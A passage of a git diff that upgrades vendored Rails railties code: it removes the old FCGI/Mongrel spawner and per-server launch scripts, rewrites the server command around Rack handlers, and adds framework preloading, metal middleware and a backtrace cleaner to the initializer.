starting dispatchers. - - The first choice you need to make is whether to spawn the Rails - dispatchers as FCGI or Mongrel. By default, this spawner will prefer - Mongrel, so if that's installed, and no platform choice is made, - Mongrel is used. - - Then decide a starting port (default is 8000) and the number of FCGI - process instances you'd like to run. So if you pick 9100 and 3 - instances, you'll start processes on 9100, 9101, and 9102. - - By setting the repeat option, you get a protection loop, which will - attempt to restart any FCGI processes that might have been exited or - outright crashed. - - You can select bind address for started processes. By default these - listen on every interface. For single machine installations you would - probably want to use 127.0.0.1, hiding them form the outside world. - - Examples: - spawner # starts instances on 8000, 8001, and 8002 - # using Mongrel if available. - spawner fcgi # starts instances on 8000, 8001, and 8002 - # using FCGI. - spawner mongrel -i 5 # starts instances on 8000, 8001, 8002, - # 8003, and 8004 using Mongrel. - spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to - # 9109 using Mongrel if available. - spawner -p 9100 -r 5 # starts 3 instances counting from 9100 to - # 9102 and attempts start them every 5 - # seconds. - spawner -a 127.0.0.1 # starts 3 instances binding to localhost - EOF - - opts.on(" Options:") - - opts.on("-p", "--port=number", Integer, "Starting port number (default: #{OPTIONS[:port]})") { |v| OPTIONS[:port] = v } - - if spawner_class.can_bind_to_custom_address? - opts.on("-a", "--address=ip", String, "Bind to IP address (default: #{OPTIONS[:address]})") { |v| OPTIONS[:address] = v } - end - - opts.on("-p", "--port=number", Integer, "Starting port number (default: #{OPTIONS[:port]})") { |v| OPTIONS[:port] = v } - opts.on("-i", "--instances=number", Integer, "Number of instances (default: #{OPTIONS[:instances]})") { |v| OPTIONS[:instances] = v } - opts.on("-r", "--repeat=seconds", Integer, "Repeat spawn attempts every n seconds (default: off)") { |v| OPTIONS[:repeat] = v } - opts.on("-e", "--environment=name", String, "test|development|production (default: #{OPTIONS[:environment]})") { |v| OPTIONS[:environment] = v } - opts.on("-P", "--prefix=path", String, "URL prefix for Rails app. [Used only with Mongrel > v0.3.15]: (default: #{OPTIONS[:prefix]})") { |v| OPTIONS[:prefix] = v } - opts.on("-n", "--process=name", String, "default: #{OPTIONS[:process]}") { |v| OPTIONS[:process] = v } - opts.on("-s", "--spawner=path", String, "default: #{OPTIONS[:spawner]}") { |v| OPTIONS[:spawner] = v } - opts.on("-d", "--dispatcher=path", String, "default: #{OPTIONS[:dispatcher]}") { |dispatcher| OPTIONS[:dispatcher] = File.expand_path(dispatcher) } - - opts.separator "" - - opts.on("-h", "--help", "Show this help message.") { puts opts; exit } - - opts.parse! -end - -ENV["RAILS_ENV"] = OPTIONS[:environment] - -if OPTIONS[:repeat] - daemonize - trap("TERM") { exit } - spawner_class.record_pid - - loop do - spawner_class.spawn_all - sleep(OPTIONS[:repeat]) - end -else - spawner_class.spawn_all -end diff --git a/vendor/rails/railties/lib/commands/process/spinner.rb b/vendor/rails/railties/lib/commands/process/spinner.rb deleted file mode 100644 index c0b2f09a..00000000 --- a/vendor/rails/railties/lib/commands/process/spinner.rb +++ /dev/null @@ -1,57 +0,0 @@ -require 'optparse' - -def daemonize #:nodoc: - exit if fork # Parent exits, child continues. - Process.setsid # Become session leader. - exit if fork # Zap session leader. See [1]. - Dir.chdir "/" # Release old working directory. - File.umask 0000 # Ensure sensible umask. Adjust as needed. - STDIN.reopen "/dev/null" # Free file descriptors and - STDOUT.reopen "/dev/null", "a" # point them somewhere sensible. - STDERR.reopen STDOUT # STDOUT/ERR should better go to a logfile. -end - -OPTIONS = { - :interval => 5.0, - :command => File.expand_path(RAILS_ROOT + '/script/process/spawner'), - :daemon => false -} - -ARGV.options do |opts| - opts.banner = "Usage: spinner [options]" - - opts.separator "" - - opts.on <<-EOF - Description: - The spinner is a protection loop for the spawner, which will attempt to restart any FCGI processes - that might have been exited or outright crashed. It's a brute-force attempt that'll just try - to run the spawner every X number of seconds, so it does pose a light load on the server. - - Examples: - spinner # attempts to run the spawner with default settings every second with output on the terminal - spinner -i 3 -d # only run the spawner every 3 seconds and detach from the terminal to become a daemon - spinner -c '/path/to/app/script/process/spawner -p 9000 -i 10' -d # using custom spawner - EOF - - opts.on(" Options:") - - opts.on("-c", "--command=path", String) { |v| OPTIONS[:command] = v } - opts.on("-i", "--interval=seconds", Float) { |v| OPTIONS[:interval] = v } - opts.on("-d", "--daemon") { |v| OPTIONS[:daemon] = v } - - opts.separator "" - - opts.on("-h", "--help", "Show this help message.") { puts opts; exit } - - opts.parse! -end - -daemonize if OPTIONS[:daemon] - -trap(OPTIONS[:daemon] ? "TERM" : "INT") { exit } - -loop do - system(OPTIONS[:command]) - sleep(OPTIONS[:interval]) -end \ No newline at end of file diff --git a/vendor/rails/railties/lib/commands/runner.rb b/vendor/rails/railties/lib/commands/runner.rb index 14159c38..51012831 100644 --- a/vendor/rails/railties/lib/commands/runner.rb +++ b/vendor/rails/railties/lib/commands/runner.rb @@ -38,11 +38,17 @@ RAILS_ENV.replace(options[:environment]) if defined?(RAILS_ENV) require RAILS_ROOT + '/config/environment' -if code_or_file.nil? - $stderr.puts "Run '#{$0} -h' for help." - exit 1 -elsif File.exist?(code_or_file) - eval(File.read(code_or_file), nil, code_or_file) -else - eval(code_or_file) +begin + if code_or_file.nil? + $stderr.puts "Run '#{$0} -h' for help." + exit 1 + elsif File.exist?(code_or_file) + eval(File.read(code_or_file), nil, code_or_file) + else + eval(code_or_file) + end +ensure + if defined? Rails + Rails.logger.flush if Rails.logger.respond_to?(:flush) + end end diff --git a/vendor/rails/railties/lib/commands/server.rb b/vendor/rails/railties/lib/commands/server.rb index 15f417b5..43b18004 100644 --- a/vendor/rails/railties/lib/commands/server.rb +++ b/vendor/rails/railties/lib/commands/server.rb @@ -1,49 +1,103 @@ require 'active_support' +require 'action_controller' + require 'fileutils' +require 'optparse' -begin - require_library_or_gem 'fcgi' -rescue Exception - # FCGI not available -end - -begin - require_library_or_gem 'mongrel' -rescue Exception - # Mongrel not available -end - +# TODO: Push Thin adapter upstream so we don't need worry about requiring it begin require_library_or_gem 'thin' rescue Exception # Thin not available end -server = case ARGV.first - when "lighttpd", "mongrel", "new_mongrel", "webrick", "thin" - ARGV.shift - else - if defined?(Mongrel) - "mongrel" - elsif defined?(Thin) - "thin" - elsif RUBY_PLATFORM !~ /(:?mswin|mingw)/ && !silence_stderr { `lighttpd -version` }.blank? && defined?(FCGI) - "lighttpd" - else - "webrick" +options = { + :Port => 3000, + :Host => "0.0.0.0", + :environment => (ENV['RAILS_ENV'] || "development").dup, + :config => RAILS_ROOT + "/config.ru", + :detach => false, + :debugger => false +} + +ARGV.clone.options do |opts| + opts.on("-p", "--port=port", Integer, + "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v } + opts.on("-b", "--binding=ip", String, + "Binds Rails to the specified ip.", "Default: 0.0.0.0") { |v| options[:Host] = v } + opts.on("-c", "--config=file", String, + "Use custom rackup configuration file") { |v| options[:config] = v } + opts.on("-d", "--daemon", "Make server run as a Daemon.") { options[:detach] = true } + opts.on("-u", "--debugger", "Enable ruby-debugging for the server.") { options[:debugger] = true } + opts.on("-e", "--environment=name", String, + "Specifies the environment to run this server under (test/development/production).", + "Default: development") { |v| options[:environment] = v } + + opts.separator "" + + opts.on("-h", "--help", "Show this help message.") { puts opts; exit } + + opts.parse! +end + +server = Rack::Handler.get(ARGV.first) rescue nil +unless server + begin + server = Rack::Handler::Mongrel + rescue LoadError => e + server = Rack::Handler::WEBrick + end +end + +puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}" +puts "=> Rails #{Rails.version} application starting on http://#{options[:Host]}:#{options[:Port]}" + +%w(cache pids sessions sockets).each do |dir_to_make| + FileUtils.mkdir_p(File.join(RAILS_ROOT, 'tmp', dir_to_make)) +end + +if options[:detach] + Process.daemon + pid = "#{RAILS_ROOT}/tmp/pids/server.pid" + File.open(pid, 'w'){ |f| f.write(Process.pid) } + at_exit { File.delete(pid) if File.exist?(pid) } +end + +ENV["RAILS_ENV"] = options[:environment] +RAILS_ENV.replace(options[:environment]) if defined?(RAILS_ENV) + +if File.exist?(options[:config]) + config = options[:config] + if config =~ /\.ru$/ + cfgfile = File.read(config) + if cfgfile[/^#\\(.*)/] + opts.parse!($1.split(/\s+/)) end + inner_app = eval("Rack::Builder.new {( " + cfgfile + "\n )}.to_app", nil, config) + else + require config + inner_app = Object.const_get(File.basename(config, '.rb').capitalize) + end +else + require RAILS_ROOT + "/config/environment" + inner_app = ActionController::Dispatcher.new end -case server - when "webrick" - puts "=> Booting WEBrick..." - when "lighttpd" - puts "=> Booting lighttpd (use 'script/server webrick' to force WEBrick)" - when "mongrel", "new_mongrel" - puts "=> Booting Mongrel (use 'script/server webrick' to force WEBrick)" - when "thin" - puts "=> Booting Thin (use 'script/server webrick' to force WEBrick)" -end +app = Rack::Builder.new { + use Rails::Rack::LogTailer unless options[:detach] + use Rails::Rack::Static + use Rails::Rack::Debugger if options[:debugger] + run inner_app +}.to_app -%w(cache pids sessions sockets).each { |dir_to_make| FileUtils.mkdir_p(File.join(RAILS_ROOT, 'tmp', dir_to_make)) } -require "commands/servers/#{server}" +puts "=> Call with -d to detach" + +trap(:INT) { exit } + +puts "=> Ctrl-C to shutdown server" + +begin + server.run(app, options.merge(:AccessLog => [])) +ensure + puts 'Exiting' +end diff --git a/vendor/rails/railties/lib/commands/servers/base.rb b/vendor/rails/railties/lib/commands/servers/base.rb deleted file mode 100644 index 23be169a..00000000 --- a/vendor/rails/railties/lib/commands/servers/base.rb +++ /dev/null @@ -1,31 +0,0 @@ -def tail(log_file) - cursor = File.size(log_file) - last_checked = Time.now - tail_thread = Thread.new do - File.open(log_file, 'r') do |f| - loop do - f.seek cursor - if f.mtime > last_checked - last_checked = f.mtime - contents = f.read - cursor += contents.length - print contents - end - sleep 1 - end - end - end - tail_thread -end - -def start_debugger - begin - require_library_or_gem 'ruby-debug' - Debugger.start - Debugger.settings[:autoeval] = true if Debugger.respond_to?(:settings) - puts "=> Debugger enabled" - rescue Exception - puts "You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'" - exit - end -end \ No newline at end of file diff --git a/vendor/rails/railties/lib/commands/servers/lighttpd.rb b/vendor/rails/railties/lib/commands/servers/lighttpd.rb deleted file mode 100644 index c9d13e86..00000000 --- a/vendor/rails/railties/lib/commands/servers/lighttpd.rb +++ /dev/null @@ -1,94 +0,0 @@ -require 'rbconfig' -require 'commands/servers/base' - -unless RUBY_PLATFORM !~ /mswin/ && !silence_stderr { `lighttpd -version` }.blank? - puts "PROBLEM: Lighttpd is not available on your system (or not in your path)" - exit 1 -end - -unless defined?(FCGI) - puts "PROBLEM: Lighttpd requires that the FCGI Ruby bindings are installed on the system" - exit 1 -end - -require 'initializer' -configuration = Rails::Initializer.run(:initialize_logger).configuration -default_config_file = config_file = Pathname.new("#{RAILS_ROOT}/config/lighttpd.conf").cleanpath - -require 'optparse' - -detach = false -command_line_port = nil - -ARGV.options do |opt| - opt.on("-p", "--port=port", "Changes the server.port number in the config/lighttpd.conf") { |port| command_line_port = port } - opt.on('-c', "--config=#{config_file}", 'Specify a different lighttpd config file.') { |path| config_file = path } - opt.on('-h', '--help', 'Show this message.') { puts opt; exit 0 } - opt.on('-d', '-d', 'Call with -d to detach') { detach = true; puts "=> Configuration in config/lighttpd.conf" } - opt.parse! -end - -unless File.exist?(config_file) - if config_file != default_config_file - puts "=> #{config_file} not found." - exit 1 - end - - require 'fileutils' - - source = File.expand_path(File.join(File.dirname(__FILE__), - "..", "..", "..", "configs", "lighttpd.conf")) - puts "=> #{config_file} not found, copying from #{source}" - - FileUtils.cp(source, config_file) -end - -# open the config/lighttpd.conf file and add the current user defined port setting to it -if command_line_port - File.open(config_file, 'r+') do |config| - lines = config.readlines - - lines.each do |line| - line.gsub!(/^\s*server.port\s*=\s*(\d+)/, "server.port = #{command_line_port}") - end - - config.rewind - config.print(lines) - config.truncate(config.pos) - end -end - -config = IO.read(config_file) -default_port, default_ip = 3000, '0.0.0.0' -port = config.scan(/^\s*server.port\s*=\s*(\d+)/).first rescue default_port -ip = config.scan(/^\s*server.bind\s*=\s*"([^"]+)"/).first rescue default_ip -puts "=> Rails #{Rails.version} application starting on http://#{ip || default_ip}:#{port || default_port}" - -tail_thread = nil - -if !detach - puts "=> Call with -d to detach" - puts "=> Ctrl-C to shutdown server (see config/lighttpd.conf for options)" - detach = false - tail_thread = tail(configuration.log_path) -end - -trap(:INT) { exit } - -begin - `rake tmp:sockets:clear` # Needed if lighttpd crashes or otherwise leaves FCGI sockets around - `lighttpd #{!detach ? "-D " : ""}-f #{config_file}` -ensure - unless detach - tail_thread.kill if tail_thread - puts 'Exiting' - - # Ensure FCGI processes are reaped - silence_stream(STDOUT) do - ARGV.replace ['-a', 'kill'] - require 'commands/process/reaper' - end - - `rake tmp:sockets:clear` # Remove sockets on clean shutdown - end -end diff --git a/vendor/rails/railties/lib/commands/servers/mongrel.rb b/vendor/rails/railties/lib/commands/servers/mongrel.rb deleted file mode 100644 index 7bb110f6..00000000 --- a/vendor/rails/railties/lib/commands/servers/mongrel.rb +++ /dev/null @@ -1,69 +0,0 @@ -require 'rbconfig' -require 'commands/servers/base' - -unless defined?(Mongrel) - puts "PROBLEM: Mongrel is not available on your system (or not in your path)" - exit 1 -end - -require 'optparse' - -OPTIONS = { - :port => 3000, - :ip => "0.0.0.0", - :environment => (ENV['RAILS_ENV'] || "development").dup, - :detach => false, - :debugger => false -} - -ARGV.clone.options do |opts| - opts.on("-p", "--port=port", Integer, "Runs Rails on the specified port.", "Default: 3000") { |v| OPTIONS[:port] = v } - opts.on("-b", "--binding=ip", String, "Binds Rails to the specified ip.", "Default: 0.0.0.0") { |v| OPTIONS[:ip] = v } - opts.on("-d", "--daemon", "Make server run as a Daemon.") { OPTIONS[:detach] = true } - opts.on("-u", "--debugger", "Enable ruby-debugging for the server.") { OPTIONS[:debugger] = true } - opts.on("-e", "--environment=name", String, - "Specifies the environment to run this server under (test/development/production).", - "Default: development") { |v| OPTIONS[:environment] = v } - - opts.separator "" - - opts.on("-h", "--help", "Show this help message.") { puts opts; exit } - - opts.parse! -end - -puts "=> Rails #{Rails.version} application starting on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}" - -parameters = [ - "start", - "-p", OPTIONS[:port].to_s, - "-a", OPTIONS[:ip].to_s, - "-e", OPTIONS[:environment], - "-P", "#{RAILS_ROOT}/tmp/pids/mongrel.pid" -] - -if OPTIONS[:detach] - `mongrel_rails #{parameters.join(" ")} -d` -else - ENV["RAILS_ENV"] = OPTIONS[:environment] - RAILS_ENV.replace(OPTIONS[:environment]) if defined?(RAILS_ENV) - - start_debugger if OPTIONS[:debugger] - - puts "=> Call with -d to detach" - puts "=> Ctrl-C to shutdown server" - - log = Pathname.new("#{File.expand_path(RAILS_ROOT)}/log/#{RAILS_ENV}.log").cleanpath - open(log, (File::WRONLY | File::APPEND | File::CREAT)) unless File.exist? log - tail_thread = tail(log) - - trap(:INT) { exit } - - begin - silence_warnings { ARGV = parameters } - load("mongrel_rails") - ensure - tail_thread.kill if tail_thread - puts 'Exiting' - end -end \ No newline at end of file diff --git a/vendor/rails/railties/lib/commands/servers/new_mongrel.rb b/vendor/rails/railties/lib/commands/servers/new_mongrel.rb deleted file mode 100644 index 174dbf8a..00000000 --- a/vendor/rails/railties/lib/commands/servers/new_mongrel.rb +++ /dev/null @@ -1,16 +0,0 @@ -unless defined?(Mongrel) - abort "PROBLEM: Mongrel is not available on your system (or not in your path)" -end - -require 'rails/mongrel_server/commands' - -GemPlugin::Manager.instance.load "rails::mongrel" => GemPlugin::INCLUDE, "rails" => GemPlugin::EXCLUDE - -case ARGV[0] ||= 'start' -when 'start', 'stop', 'restart' - ARGV[0] = "rails::mongrelserver::#{ARGV[0]}" -end - -if not Mongrel::Command::Registry.instance.run ARGV - exit 1 -end diff --git a/vendor/rails/railties/lib/commands/servers/thin.rb b/vendor/rails/railties/lib/commands/servers/thin.rb deleted file mode 100644 index 833469ca..00000000 --- a/vendor/rails/railties/lib/commands/servers/thin.rb +++ /dev/null @@ -1,25 +0,0 @@ -require 'rbconfig' -require 'commands/servers/base' -require 'thin' - - -options = ARGV.clone -options.insert(0,'start') unless Thin::Runner.commands.include?(options[0]) - -thin = Thin::Runner.new(options) - -puts "=> Rails #{Rails.version} application starting on http://#{thin.options[:address]}:#{thin.options[:port]}" -puts "=> Ctrl-C to shutdown server" - -log = Pathname.new("#{File.expand_path(RAILS_ROOT)}/log/#{RAILS_ENV}.log").cleanpath -open(log, (File::WRONLY | File::APPEND | File::CREAT)) unless File.exist? log -tail_thread = tail(log) -trap(:INT) { exit } - -begin - thin.run! -ensure - tail_thread.kill if tail_thread - puts 'Exiting' -end - diff --git a/vendor/rails/railties/lib/commands/servers/webrick.rb b/vendor/rails/railties/lib/commands/servers/webrick.rb deleted file mode 100644 index 18c8897c..00000000 --- a/vendor/rails/railties/lib/commands/servers/webrick.rb +++ /dev/null @@ -1,66 +0,0 @@ -require 'webrick' -require 'optparse' -require 'commands/servers/base' - -OPTIONS = { - :port => 3000, - :ip => "0.0.0.0", - :environment => (ENV['RAILS_ENV'] || "development").dup, - :server_root => File.expand_path(RAILS_ROOT + "/public/"), - :server_type => WEBrick::SimpleServer, - :charset => "UTF-8", - :mime_types => WEBrick::HTTPUtils::DefaultMimeTypes, - :debugger => false - -} - -ARGV.options do |opts| - script_name = File.basename($0) - opts.banner = "Usage: ruby #{script_name} [options]" - - opts.separator "" - - opts.on("-p", "--port=port", Integer, - "Runs Rails on the specified port.", - "Default: 3000") { |v| OPTIONS[:port] = v } - opts.on("-b", "--binding=ip", String, - "Binds Rails to the specified ip.", - "Default: 0.0.0.0") { |v| OPTIONS[:ip] = v } - opts.on("-e", "--environment=name", String, - "Specifies the environment to run this server under (test/development/production).", - "Default: development") { |v| OPTIONS[:environment] = v } - opts.on("-m", "--mime-types=filename", String, - "Specifies an Apache style mime.types configuration file to be used for mime types", - "Default: none") { |mime_types_file| OPTIONS[:mime_types] = WEBrick::HTTPUtils::load_mime_types(mime_types_file) } - - opts.on("-d", "--daemon", - "Make Rails run as a Daemon (only works if fork is available -- meaning on *nix)." - ) { OPTIONS[:server_type] = WEBrick::Daemon } - - opts.on("-u", "--debugger", "Enable ruby-debugging for the server.") { OPTIONS[:debugger] = true } - - opts.on("-c", "--charset=charset", String, - "Set default charset for output.", - "Default: UTF-8") { |v| OPTIONS[:charset] = v } - - opts.separator "" - - opts.on("-h", "--help", - "Show this help message.") { puts opts; exit } - - opts.parse! -end - -start_debugger if OPTIONS[:debugger] - -ENV["RAILS_ENV"] = OPTIONS[:environment] -RAILS_ENV.replace(OPTIONS[:environment]) if defined?(RAILS_ENV) - -require RAILS_ROOT + "/config/environment" -require 'webrick_server' - -OPTIONS['working_directory'] = File.expand_path(RAILS_ROOT) - -puts "=> Rails #{Rails.version} application started on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}" -puts "=> Ctrl-C to shutdown server; call with --help for options" if OPTIONS[:server_type] == WEBrick::SimpleServer -DispatchServlet.dispatch(OPTIONS) diff --git a/vendor/rails/railties/lib/console_app.rb b/vendor/rails/railties/lib/console_app.rb index 88e7962b..96bf3117 100644 --- a/vendor/rails/railties/lib/console_app.rb +++ b/vendor/rails/railties/lib/console_app.rb @@ -1,4 +1,5 @@ -require 'action_controller/integration' +require 'active_support/test_case' +require 'action_controller' # work around the at_exit hook in test/unit, which kills IRB Test::Unit.run = true if Test::Unit.respond_to?(:run=) diff --git a/vendor/rails/railties/lib/console_with_helpers.rb b/vendor/rails/railties/lib/console_with_helpers.rb index be453a68..039db667 100644 --- a/vendor/rails/railties/lib/console_with_helpers.rb +++ b/vendor/rails/railties/lib/console_with_helpers.rb @@ -1,26 +1,5 @@ -class Module - def include_all_modules_from(parent_module) - parent_module.constants.each do |const| - mod = parent_module.const_get(const) - if mod.class == Module - send(:include, mod) - include_all_modules_from(mod) - end - end - end -end - -def helper(*helper_names) - returning @helper_proxy ||= Object.new do |helper| - helper_names.each { |h| helper.extend "#{h}_helper".classify.constantize } - end -end - -require_dependency 'application' - -class << helper - include_all_modules_from ActionView +def helper + @helper ||= ApplicationController.helpers end @controller = ApplicationController.new -helper :application rescue nil diff --git a/vendor/rails/railties/lib/dispatcher.rb b/vendor/rails/railties/lib/dispatcher.rb index 0bad45d9..9f8b59aa 100644 --- a/vendor/rails/railties/lib/dispatcher.rb +++ b/vendor/rails/railties/lib/dispatcher.rb @@ -1,5 +1,5 @@ #-- -# Copyright (c) 2004-2008 David Heinemeier Hansson +# Copyright (c) 2004-2009 David Heinemeier Hansson # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the diff --git a/vendor/rails/railties/lib/fcgi_handler.rb b/vendor/rails/railties/lib/fcgi_handler.rb index 1bb55b92..1256ef22 100644 --- a/vendor/rails/railties/lib/fcgi_handler.rb +++ b/vendor/rails/railties/lib/fcgi_handler.rb @@ -98,7 +98,7 @@ class RailsFCGIHandler with_signal_handler 'USR1' do begin - Dispatcher.dispatch(cgi) + ::Rack::Handler::FastCGI.serve(cgi, Dispatcher.new) rescue SignalException, SystemExit raise rescue Exception => error diff --git a/vendor/rails/railties/lib/initializer.rb b/vendor/rails/railties/lib/initializer.rb index 16abe62d..da064c86 100644 --- a/vendor/rails/railties/lib/initializer.rb +++ b/vendor/rails/railties/lib/initializer.rb @@ -40,19 +40,20 @@ module Rails end end - def root - if defined?(RAILS_ROOT) - RAILS_ROOT - else - nil + def backtrace_cleaner + @@backtrace_cleaner ||= begin + # Relies on ActiveSupport, so we have to lazy load to postpone definition until AS has been loaded + require 'rails/backtrace_cleaner' + Rails::BacktraceCleaner.new end end + def root + Pathname.new(RAILS_ROOT) if defined?(RAILS_ROOT) + end + def env - @_env ||= begin - require 'active_support/string_inquirer' - ActiveSupport::StringInquirer.new(RAILS_ENV) - end + @_env ||= ActiveSupport::StringInquirer.new(RAILS_ENV) end def cache @@ -131,6 +132,7 @@ module Rails add_gem_load_paths require_frameworks + preload_frameworks set_autoload_paths add_plugin_load_paths load_environment @@ -146,7 +148,6 @@ module Rails initialize_dependency_mechanism initialize_whiny_nils - initialize_temporary_session_directory initialize_time_zone initialize_i18n @@ -154,6 +155,8 @@ module Rails initialize_framework_settings initialize_framework_views + initialize_metal + add_support_load_paths load_gems @@ -255,10 +258,23 @@ module Rails def require_frameworks configuration.frameworks.each { |framework| require(framework.to_s) } rescue LoadError => e - # re-raise because Mongrel would swallow it + # Re-raise as RuntimeError because Mongrel would swallow LoadError. raise e.to_s end + # Preload all frameworks specified by the Configuration#frameworks. + # Used by Passenger to ensure everything's loaded before forking and + # to avoid autoload race conditions in JRuby. + def preload_frameworks + if configuration.preload_frameworks + configuration.frameworks.each do |framework| + # String#classify and #constantize aren't available yet. + toplevel = Object.const_get(framework.to_s.gsub(/(?:^|_)(.)/) { $1.upcase }) + toplevel.load_all! + end + end + end + # Add the load paths used by support functions such as the info controller def add_support_load_paths end @@ -286,7 +302,7 @@ module Rails if unloaded_gems.size > 0 @gems_dependencies_loaded = false # don't print if the gems rake tasks are being run - unless $rails_gem_installer + unless $rails_rake_task abort <<-end_error Missing these required gems: #{unloaded_gems.map { |gem| "#{gem.name} #{gem.requirement}" } * "\n "} @@ -353,14 +369,17 @@ Run `rake gems:install` to install the missing gems. def load_view_paths if configuration.frameworks.include?(:action_view) - ActionView::PathSet::Path.eager_load_templates! if configuration.cache_classes - ActionController::Base.view_paths.load if configuration.frameworks.include?(:action_controller) - ActionMailer::Base.template_root.load if configuration.frameworks.include?(:action_mailer) + if configuration.cache_classes + view_path = ActionView::Template::EagerPath.new(configuration.view_path) + ActionController::Base.view_paths = view_path if configuration.frameworks.include?(:action_controller) + ActionMailer::Base.template_root = view_path if configuration.frameworks.include?(:action_mailer) + end end end # Eager load application classes def load_application_classes + return if $rails_rake_task if configuration.cache_classes configuration.eager_load_paths.each do |load_path| matcher = /\A#{Regexp.escape(load_path)}(.*)\.rb\Z/ @@ -390,12 +409,18 @@ Run `rake gems:install` to install the missing gems. if configuration.frameworks.include?(:active_record) ActiveRecord::Base.configurations = configuration.database_configuration ActiveRecord::Base.establish_connection + configuration.middleware.use ActiveRecord::QueryCache end end def initialize_cache unless defined?(RAILS_CACHE) silence_warnings { Object.const_set "RAILS_CACHE", ActiveSupport::Cache.lookup_store(configuration.cache_store) } + + if RAILS_CACHE.respond_to?(:middleware) + # Insert middleware to setup and teardown local cache for each request + configuration.middleware.insert_after(:"ActionController::Failsafe", RAILS_CACHE.middleware) + end end end @@ -456,7 +481,7 @@ Run `rake gems:install` to install the missing gems. # set to use Configuration#view_path. def initialize_framework_views if configuration.frameworks.include?(:action_view) - view_path = ActionView::PathSet::Path.new(configuration.view_path, false) + view_path = ActionView::Template::Path.new(configuration.view_path) ActionMailer::Base.template_root ||= view_path if configuration.frameworks.include?(:action_mailer) ActionController::Base.view_paths = view_path if configuration.frameworks.include?(:action_controller) && ActionController::Base.view_paths.empty? end @@ -467,8 +492,9 @@ Run `rake gems:install` to install the missing gems. # loading module used to lazily load controllers (Configuration#controller_paths). def initialize_routing return unless configuration.frameworks.include?(:action_controller) - ActionController::Routing.controller_paths = configuration.controller_paths - ActionController::Routing::Routes.configuration_file = configuration.routes_configuration_file + + ActionController::Routing.controller_paths += configuration.controller_paths + ActionController::Routing::Routes.add_configuration_file(configuration.routes_configuration_file) ActionController::Routing::Routes.reload end @@ -484,22 +510,20 @@ Run `rake gems:install` to install the missing gems. require('active_support/whiny_nil') if configuration.whiny_nils end - def initialize_temporary_session_directory - if configuration.frameworks.include?(:action_controller) - session_path = "#{configuration.root_path}/tmp/sessions/" - ActionController::Base.session_options[:tmpdir] = File.exist?(session_path) ? session_path : Dir::tmpdir - end - end - # Sets the default value for Time.zone, and turns on ActiveRecord::Base#time_zone_aware_attributes. # If assigned value cannot be matched to a TimeZone, an exception will be raised. def initialize_time_zone if configuration.time_zone zone_default = Time.__send__(:get_zone, configuration.time_zone) + unless zone_default - raise %{Value assigned to config.time_zone not recognized. Run "rake -D time" for a list of tasks for finding appropriate time zone names.} + raise \ + 'Value assigned to config.time_zone not recognized.' + + 'Run "rake -D time" for a list of tasks for finding appropriate time zone names.' end + Time.zone_default = zone_default + if configuration.frameworks.include?(:active_record) ActiveRecord::Base.time_zone_aware_attributes = true ActiveRecord::Base.default_timezone = :utc @@ -507,7 +531,7 @@ Run `rake gems:install` to install the missing gems. end end - # Set the i18n configuration from config.i18n but special-case for the load_path which should be + # Set the i18n configuration from config.i18n but special-case for the load_path which should be # appended to what's already set instead of overwritten. def initialize_i18n configuration.i18n.each do |setting, value| @@ -519,6 +543,12 @@ Run `rake gems:install` to install the missing gems. end end + def initialize_metal + configuration.middleware.insert_before( + :"ActionController::RewindableInput", + Rails::Rack::Metal, :if => Rails::Rack::Metal.metals.any?) + end + # Initializes framework-specific settings for each of the loaded frameworks # (Configuration#frameworks). The available settings map to the accessors # on each of the corresponding Base classes. @@ -597,12 +627,15 @@ Run `rake gems:install` to install the missing gems. # A stub for setting options on ActiveSupport. attr_accessor :active_support + # Whether to preload all frameworks at startup. + attr_accessor :preload_frameworks + # Whether or not classes should be cached (set to false if you want # application classes to be reloaded on each request) attr_accessor :cache_classes # The list of paths that should be searched for controllers. (Defaults - # to app/controllers and components.) + # to app/controllers.) attr_accessor :controller_paths # The path to the database configuration file to use. (Defaults to @@ -763,6 +796,7 @@ Run `rake gems:install` to install the missing gems. self.log_level = default_log_level self.view_path = default_view_path self.controller_paths = default_controller_paths + self.preload_frameworks = default_preload_frameworks self.cache_classes = default_cache_classes self.dependency_loading = default_dependency_loading self.whiny_nils = default_whiny_nils @@ -805,6 +839,7 @@ Run `rake gems:install` to install the missing gems. # multiple database connections. Also disables automatic dependency loading # after boot def threadsafe! + self.preload_frameworks = true self.cache_classes = true self.dependency_loading = false self.action_controller.allow_concurrency = true @@ -854,6 +889,11 @@ Run `rake gems:install` to install the missing gems. end end + def middleware + require 'action_controller' + ActionController::Dispatcher.middleware + end + def builtin_directories # Include builtins only in the development environment. (environment == 'development') ? Dir["#{RAILTIES_PATH}/builtin/*/"] : [] @@ -861,10 +901,10 @@ Run `rake gems:install` to install the missing gems. def framework_paths paths = %w(railties railties/lib activesupport/lib) - paths << 'actionpack/lib' if frameworks.include? :action_controller or frameworks.include? :action_view + paths << 'actionpack/lib' if frameworks.include?(:action_controller) || frameworks.include?(:action_view) [:active_record, :action_mailer, :active_resource, :action_web_service].each do |framework| - paths << "#{framework.to_s.gsub('_', '')}/lib" if frameworks.include? framework + paths << "#{framework.to_s.gsub('_', '')}/lib" if frameworks.include?(framework) end paths.map { |dir| "#{framework_root_path}/#{dir}" }.select { |dir| File.directory?(dir) } @@ -888,18 +928,14 @@ Run `rake gems:install` to install the missing gems. # Add the app's controller directory paths.concat(Dir["#{root_path}/app/controllers/"]) - # Then components subdirectories. - paths.concat(Dir["#{root_path}/components/[_a-z]*"]) - # Followed by the standard includes. paths.concat %w( app + app/metal app/models app/controllers app/helpers app/services - components - config lib vendor ).map { |dir| "#{root_path}/#{dir}" }.select { |dir| File.directory?(dir) } @@ -914,6 +950,7 @@ Run `rake gems:install` to install the missing gems. def default_eager_load_paths %w( + app/metal app/models app/controllers app/helpers @@ -950,6 +987,10 @@ Run `rake gems:install` to install the missing gems. true end + def default_preload_frameworks + false + end + def default_cache_classes true end diff --git a/vendor/rails/railties/lib/rails/backtrace_cleaner.rb b/vendor/rails/railties/lib/rails/backtrace_cleaner.rb new file mode 100644 index 00000000..e1b42271 --- /dev/null +++ b/vendor/rails/railties/lib/rails/backtrace_cleaner.rb @@ -0,0 +1,39 @@ +module Rails + class BacktraceCleaner < ActiveSupport::BacktraceCleaner + ERB_METHOD_SIG = /:in 